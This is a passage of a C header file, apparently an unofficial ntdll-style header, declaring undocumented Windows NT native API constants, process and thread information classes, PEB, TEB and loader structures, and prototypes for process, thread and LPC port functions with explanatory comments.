(sue) Stop on unhandled user-mode exception #define FLG_ENABLE_HANDLE_EXCEPTIONS 0x40000000 // (bhd) Enable bad handles detection #define FLG_DISABLE_PROTDLLS 0x80000000 // (dpd) Disable protected DLL verification #define FLG_VALID_BITS 0xFFFFFFFF // For ProcessExecuteFlags #define MEM_EXECUTE_OPTION_DISABLE 0x1 #define MEM_EXECUTE_OPTION_ENABLE 0x2 #define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4 #define MEM_EXECUTE_OPTION_PERMANENT 0x8 #define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10 #define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20 #define MEM_EXECUTE_OPTION_DISABLE_EXCEPTION_CHAIN_VALIDATION 0x40 #define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3F // // Process Information Classes // typedef enum _PROCESSINFOCLASS { ProcessBasicInformation, // 0x00 ProcessQuotaLimits, // 0x01 ProcessIoCounters, // 0x02 ProcessVmCounters, // 0x03 ProcessTimes, // 0x04 ProcessBasePriority, // 0x05 ProcessRaisePriority, // 0x06 ProcessDebugPort, // 0x07 ProcessExceptionPort, // 0x08 ProcessAccessToken, // 0x09 ProcessLdtInformation, // 0x0A ProcessLdtSize, // 0x0B ProcessDefaultHardErrorMode, // 0x0C ProcessIoPortHandlers, // 0x0D Note: this is kernel mode only ProcessPooledUsageAndLimits, // 0x0E ProcessWorkingSetWatch, // 0x0F ProcessUserModeIOPL, // 0x10 ProcessEnableAlignmentFaultFixup, // 0x11 ProcessPriorityClass, // 0x12 ProcessWx86Information, // 0x13 ProcessHandleCount, // 0x14 ProcessAffinityMask, // 0x15 ProcessPriorityBoost, // 0x16 ProcessDeviceMap, // 0x17 ProcessSessionInformation, // 0x18 ProcessForegroundInformation, // 0x19 ProcessWow64Information, // 0x1A ProcessImageFileName, // 0x1B ProcessLUIDDeviceMapsEnabled, // 0x1C ProcessBreakOnTermination, // 0x1D ProcessDebugObjectHandle, // 0x1E ProcessDebugFlags, // 0x1F ProcessHandleTracing, // 0x20 ProcessIoPriority, // 0x21 ProcessExecuteFlags, // 0x22 ProcessTlsInformation, ProcessCookie, ProcessImageInformation, ProcessCycleTime, ProcessPagePriority, ProcessInstrumentationCallback, ProcessThreadStackAllocation, ProcessWorkingSetWatchEx, ProcessImageFileNameWin32, ProcessImageFileMapping, ProcessAffinityUpdateMode, ProcessMemoryAllocationMode, ProcessGroupInformation, ProcessTokenVirtualizationEnabled, ProcessConsoleHostProcess, ProcessWindowInformation, MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum } PROCESSINFOCLASS; // // Thread Information Classes // typedef enum _THREADINFOCLASS { ThreadBasicInformation, // 0x00 ThreadTimes, // 0x01 ThreadPriority, // 0x02 ThreadBasePriority, // 0x03 ThreadAffinityMask, // 0x04 ThreadImpersonationToken, // 0x05 HANDLE ThreadDescriptorTableEntry, // 0x06 ULONG Selector + LDT_ENTRY ThreadEnableAlignmentFaultFixup, // 0x07 ThreadEventPair, // 0x08 ThreadQuerySetWin32StartAddress, // 0x09 ThreadZeroTlsCell, // 0x0A ThreadPerformanceCount, // 0x0B ThreadAmILastThread, // 0x0C ULONG ThreadIdealProcessor, // 0x0D ThreadPriorityBoost, // 0x0E ThreadSetTlsArrayAddress, // 0x0F ThreadIsIoPending, // 0x10 ThreadHideFromDebugger, // 0x11 MaxThreadInfoClass } THREADINFOCLASS; typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef struct _SECTION_IMAGE_INFORMATION { PVOID TransferAddress; ULONG ZeroBits; SIZE_T MaximumStackSize; SIZE_T CommittedStackSize; ULONG SubSystemType; union { struct { USHORT SubSystemMinorVersion; USHORT SubSystemMajorVersion; }; ULONG SubSystemVersion; }; ULONG GpValue; USHORT ImageCharacteristics; USHORT DllCharacteristics; USHORT Machine; BOOLEAN ImageContainsCode; BOOLEAN Spare1; ULONG LoaderFlags; ULONG ImageFileSize; // Reserved[0] for NT 4.0 and 2000 ULONG CheckSum; // Reserved[1] until Vista } SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; typedef struct _RTL_USER_PROCESS_INFORMATION { ULONG Length; HANDLE ProcessHandle; HANDLE ThreadHandle; CLIENT_ID ClientId; SECTION_IMAGE_INFORMATION ImageInformation; } RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters ULONG Length; // Length of valid structure ULONG Flags; // Currently only PPF_NORMALIZED (1) is known: // - Means that structure is normalized by call RtlNormalizeProcessParameters ULONG DebugFlags; PVOID ConsoleHandle; // HWND to console window associated with process (if any). ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32" UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files. UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image. UNICODE_STRING CommandLine; // Command line PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment) ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; // Fill attribute for console window ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId; ULONG LoaderThreads; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; // // Process Environment Block // typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK *Next; ULONG Size; } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually) LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs) LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; // Windows 10 HANDLE ShutdownThreadId; // Windows 10 } PEB_LDR_DATA, *PPEB_LDR_DATA; #define LDRP_PACKED_BINARY 0x00000001 #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_NOTIFICATION_SENT 0x00000008 #define LDRP_TELEMETRY_ENTRY_PROCESSED 0x00000010 #define LDRP_PROCESS_STATIC_IMPORT 0x00000020 #define LDRP_IN_LEGACY_LISTS 0x00000040 #define LDRP_IN_INDEXES 0x00000080 #define LDRP_SHIM_DLL 0x00000100 #define LDRP_IN_EXCEPTION_TABLE 0x00000200 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_LOAD_CONFIG_PROCESSED 0x00002000 // Was: LDRP_UNLOAD_IN_PROGRESS #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_PROTECT_DELAY_LOAD 0x00008000 // Was: LDRP_ENTRY_INSERTED #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; // Base address of the module PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; ULONG CheckSum; ULONG TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; PVOID ContextInformation; PVOID OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; #ifdef _MSC_VER #pragma warning(disable: 4214) // warning C4214: nonstandard extension used : bit field types other than int #endif typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { UCHAR BitField; struct { UCHAR ImageUsesLargePages:1; UCHAR IsProtectedProcess:1; UCHAR IsImageDynamicallyRelocated:1; UCHAR SkipPatchingUser32Forwarders:1; UCHAR IsPackagedProcess:1; UCHAR IsAppContainer:1; UCHAR IsProtectedProcessLight:1; UCHAR SpareBits:1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; //--- Windows 7. Can be different in different Windows version. --------------- PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 25; }; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; PVOID AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PVOID *ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; // // Useful information for LdrpInitialize ULONG NumberOfProcessors; ULONG NtGlobalFlag; // // Passed up from MmCreatePeb from Session Manager registry key // LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; // // Where heap manager keeps track of all heaps created for a process // Fields initialized by MmCreatePeb. ProcessHeaps is initialized // to point to the first free byte after the PEB and MaximumNumberOfHeaps // is computed from the page size used to hold the PEB, less the fixed // size of this data structure. // ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID *ProcessHeaps; // // PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; // // Following fields filled in by MmCreatePeb from system values and/or // image header. These fields have changed since Windows NT 4.0, // so use with caution // ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG ImageProcessAffinityMask; ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; PVOID PostProcessInitRoutine; // More here. Do not use. } PEB, *PPEB; // // Thread environment block // typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; // Incomplete } TEB, *PTEB; typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; typedef BOOLEAN (*PDLL_INIT_ROUTINE)( IN PVOID DllHandle, IN ULONG Reason, IN PCONTEXT Context OPTIONAL ); typedef VOID (NTAPI *PUSER_THREAD_START_ROUTINE)( IN PVOID ApcArgument1 ); typedef VOID (*PPS_APC_ROUTINE) ( __in_opt PVOID ApcArgument1, __in_opt PVOID ApcArgument2, __in_opt PVOID ApcArgument3 ); NTSYSAPI NTSTATUS NTAPI RtlCreateUserThread( IN HANDLE Process, IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG_PTR ZeroBits OPTIONAL, IN SIZE_T MaximumStackSize OPTIONAL, IN SIZE_T CommittedStackSize OPTIONAL, IN PUSER_THREAD_START_ROUTINE StartAddress, IN PVOID Parameter OPTIONAL, OUT PHANDLE Thread OPTIONAL, OUT PCLIENT_ID ClientId OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtSetInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSYSAPI NTSTATUS NTAPI ZwSetInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSYSAPI NTSTATUS NTAPI NtSuspendThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtTerminateThread( HANDLE Thread, NTSTATUS ExitStatus ); NTSYSAPI NTSTATUS NTAPI ZwTerminateThread( HANDLE Thread, NTSTATUS ExitStatus ); NTSYSAPI NTSTATUS NTAPI NtSetThreadExecutionState( ULONG EsFlags, PULONG PreviousFlags ); NTSYSAPI NTSTATUS NTAPI NtQueueApcThread( HANDLE ThreadHandle, PPS_APC_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3 ); NTSYSAPI NTSTATUS NTAPI ZwQueueApcThread( HANDLE ThreadHandle, PPS_APC_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3 ); NTSYSAPI NTSTATUS NTAPI RtlAdjustPrivilege( ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled ); NTSYSAPI NTSTATUS NTAPI RtlCreateProcessParameters( PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData ); NTSYSAPI PRTL_USER_PROCESS_PARAMETERS NTAPI RtlNormalizeProcessParams( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); NTSYSAPI NTSTATUS NTAPI RtlDestroyProcessParameters( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); NTSYSAPI NTSTATUS NTAPI RtlCreateUserProcess( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation ); #define NtCurrentProcess() ((HANDLE) -1) #define NtCurrentThread() ((HANDLE) -2) #define NtCurrentPeb() ((PPEB)(NtCurrentTeb()->ProcessEnvironmentBlock)) NTSYSAPI NTSTATUS NTAPI NtCreateProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwCreateProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtSetInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); NTSYSAPI NTSTATUS NTAPI NtTerminateProcess( HANDLE Process, NTSTATUS ExitStatus ); NTSYSAPI NTSTATUS NTAPI ZwTerminateProcess( HANDLE Process, NTSTATUS ExitStatus ); //------------------------------------------------------------------------------ // LPC Functions #define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC // Valid values for PORT_MESSAGE::u2::s2::Type #define LPC_REQUEST 1 #define LPC_REPLY 2 #define LPC_DATAGRAM 3 #define LPC_LOST_REPLY 4 #define LPC_PORT_CLOSED 5 #define LPC_CLIENT_DIED 6 #define LPC_EXCEPTION 7 #define LPC_DEBUG_EVENT 8 #define LPC_ERROR_EVENT 9 #define LPC_CONNECTION_REQUEST 10 #define ALPC_REQUEST 0x2000 | LPC_REQUEST #define ALPC_CONNECTION_REQUEST 0x2000 | LPC_CONNECTION_REQUEST #define LPC_MESSAGE_BASE_SIZE 24 // // Define header for Port Message // typedef struct _PORT_MESSAGE { union { struct { USHORT DataLength; // Length of data following the header (bytes) USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE) } s1; ULONG Length; } u1; union { struct { USHORT Type; USHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { CLIENT_ID ClientId; double DoNotUseThisField; // Force quadword alignment }; ULONG MessageId; // Identifier of the particular message instance union { ULONG_PTR ClientViewSize; // Size of section created by the sender (in bytes) ULONG CallbackId; // }; } PORT_MESSAGE, *PPORT_MESSAGE, LPC_MESSAGE, *PLPC_MESSAGE; // // Define structure for initializing shared memory on the caller's side of the port // typedef struct _PORT_VIEW { ULONG Length; // Size of this structure HANDLE SectionHandle; // Handle to section object with // SECTION_MAP_WRITE and SECTION_MAP_READ ULONG SectionOffset; // The offset in the section to map a view for // the port data area. The offset must be aligned // with the allocation granularity of the system. SIZE_T ViewSize; // The size of the view (in bytes) PVOID ViewBase; // The base address of the view in the creator // PVOID ViewRemoteBase; // The base address of the view in the process // connected to the port. } PORT_VIEW, *PPORT_VIEW; // // Define structure for shared memory coming from remote side of the port // typedef struct _REMOTE_PORT_VIEW { ULONG Length; // Size of this structure SIZE_T ViewSize; // The size of the view (bytes) PVOID ViewBase; // Base address of the view } REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; // // Macro for initializing the message header // #ifndef InitializeMessageHeader #define InitializeMessageHeader(ph, l, t) \ { \ (ph)->u1.s1.TotalLength = (USHORT)(l); \ (ph)->u1.s1.DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \ (ph)->u2.s2.Type = (USHORT)(t); \ (ph)->u2.s2.DataInfoOffset = 0; \ (ph)->ClientId.UniqueProcess = NULL; \ (ph)->ClientId.UniqueThread = NULL; \ (ph)->MessageId = 0; \ (ph)->ClientViewSize = 0; \ } #endif /*++ NtCreatePort ============ Creates a LPC port object. The creator of the LPC port becomes a server of LPC communication PortHandle - Points to a variable that will receive the port object handle if the call is successful. ObjectAttributes - Points to a structure that specifies the object�s attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE, OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object. MaxConnectionInfoLength - The maximum size, in bytes, of data that can be sent through the port. MaxMessageLength - The maximum size, in bytes, of a message that can be sent through the port. MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for message storage. Zero means default value. ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148). --*/ NTSYSAPI NTSTATUS NTAPI NtCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN ULONG MaxPoolUsage ); NTSYSAPI NTSTATUS NTAPI ZwCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN ULONG MaxPoolUsage ); /*++ NtConnectPort ============= Creates a port connected to a named port (cliend side). PortHandle - A pointer to a variable that will receive the client communication port object handle value. PortName - Points to a structure that specifies the name of the port to connect to. SecurityQos - Points to a structure that specifies the level of impersonation available to the port listener. ClientView - Optionally points to a structure describing the shared memory region used to send large amounts of data to the listener; if the call is successful, this will be updated. ServerView - Optionally points to a caller-allocated buffer or variable that receives information on the shared memory region used by the listener to send large amounts of data to the caller. MaxMessageLength - Optionally points to a variable that receives the size, in bytes, of the largest message that can be sent through the port. ConnectionInformation - Optionally points to a caller-allocated buffer or variable that specifies connect data to send to the listener, and receives connect data sent by the listener. ConnectionInformationLength - Optionally points to a variable that specifies the size, in bytes, of the connect data to send to the listener, and receives the size of the connect data sent by the listener. --*/ NTSYSAPI NTSTATUS NTAPI NtConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PPORT_VIEW ClientView OPTIONAL, OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL, IN OUT PVOID ConnectionInformation OPTIONAL, IN OUT PULONG ConnectionInformationLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PPORT_VIEW ClientView OPTIONAL, OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL, IN OUT PVOID ConnectionInformation OPTIONAL, IN OUT PULONG ConnectionInformationLength OPTIONAL ); /*++ NtListenPort ============ Listens on a port for a connection request message on the server side. PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. ConnectionRequest - Points to a caller-allocated buffer or variable that receives the connect message sent to the port. --*/ NTSYSAPI NTSTATUS NTAPI NtListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE RequestMessage ); NTSYSAPI NTSTATUS NTAPI ZwListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE RequestMessage ); /*++ NtAcceptConnectPort =================== Accepts or rejects a connection request on the server side. PortHandle - Points to a variable that will receive the port object handle if the call is successful. PortContext - A numeric identifier to be associated with the port. ConnectionRequest - Points to a caller-allocated buffer or variable that identifies the connection request and contains any connect data that should be returned to requestor of the connection AcceptConnection - Specifies whether the connection should be accepted or not ServerView - Optionally points to a structure describing the shared memory region used to send large amounts of data to the requestor; if the call is successful, this will be updated ClientView - Optionally points to a caller-allocated buffer or variable that receives information on the shared memory region used by the requestor to send large amounts of data to the caller --*/ NTSYSAPI NTSTATUS NTAPI NtAcceptConnectPort( OUT PHANDLE PortHandle, IN PVOID PortContext OPTIONAL, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, IN OUT PPORT_VIEW ServerView OPTIONAL, OUT PREMOTE_PORT_VIEW ClientView OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwAcceptConnectPort( OUT PHANDLE PortHandle, IN PVOID PortContext OPTIONAL, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, IN OUT PPORT_VIEW ServerView OPTIONAL, OUT PREMOTE_PORT_VIEW ClientView OPTIONAL ); /*++ NtCompleteConnectPort ===================== Completes the port connection process on the server side. PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. --*/ NTSYSAPI NTSTATUS NTAPI NtCompleteConnectPort( IN HANDLE PortHandle ); NTSYSAPI NTSTATUS NTAPI ZwCompleteConnectPort( IN HANDLE PortHandle ); /*++ NtRequestPort ============= Sends a request message to a port (client side) PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. RequestMessage - Points to a caller-allocated buffer or variable that specifies the request message to send to the port. --*/ NTSYSAPI NTSTATUS NTAPI NtRequestPort ( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage ); NTSYSAPI NTSTATUS NTAPI ZwRequestPort ( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage ); /*++ NtRequestWaitReplyPort ====================== Sends a request message to a port and waits for a reply (client side) PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. RequestMessage - Points to a caller-allocated buffer or variable that specifies the request message to send to the port. ReplyMessage - Points to a caller-allocated buffer or variable that receives the reply message sent to the port. --*/ NTSYSAPI NTSTATUS NTAPI NtRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage ); NTSYSAPI NTSTATUS NTAPI ZwRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage ); /*++ NtReplyPort =========== Sends a reply message to a port (Server side) PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. ReplyMessage - Points to a caller-allocated buffer or variable that specifies the reply message to send to the port. --*/ NTSYSAPI NTSTATUS NTAPI NtReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage ); NTSYSAPI NTSTATUS NTAPI ZwReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage ); /*++ NtReplyWaitReplyPort ==================== Sends a reply message to a port and waits for a reply message PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. ReplyMessage - Points to a caller-allocated buffer or variable that specifies the reply message to send to the port. --*/ NTSYSAPI NTSTATUS NTAPI NtReplyWaitReplyPort( IN HANDLE PortHandle, IN OUT PPORT_MESSAGE ReplyMessage ); NTSYSAPI NTSTATUS NTAPI ZwReplyWaitReplyPort( IN HANDLE PortHandle, IN OUT PPORT_MESSAGE ReplyMessage ); /*++ NtReplyWaitReceivePort ====================== Optionally sends a reply message to a port and waits for a message PortHandle - A handle to a port object. The handle doesn't need to grant any specific access. PortContext - Optionally points to a variable that receives a numeric identifier associated with the port. ReplyMessage - Optionally points to a caller-allocated buffer or variable that specifies the reply message to send to the port. ReceiveMessage - Points to a caller-allocated buffer or variable that receives the message sent to the port. --*/ NTSYSAPI NTSTATUS NTAPI NtReplyWaitReceivePort( IN HANDLE PortHandle, OUT PVOID *PortContext OPTIONAL, IN PPORT_MESSAGE ReplyMessage OPTIONAL, OUT PPORT_MESSAGE ReceiveMessage ); 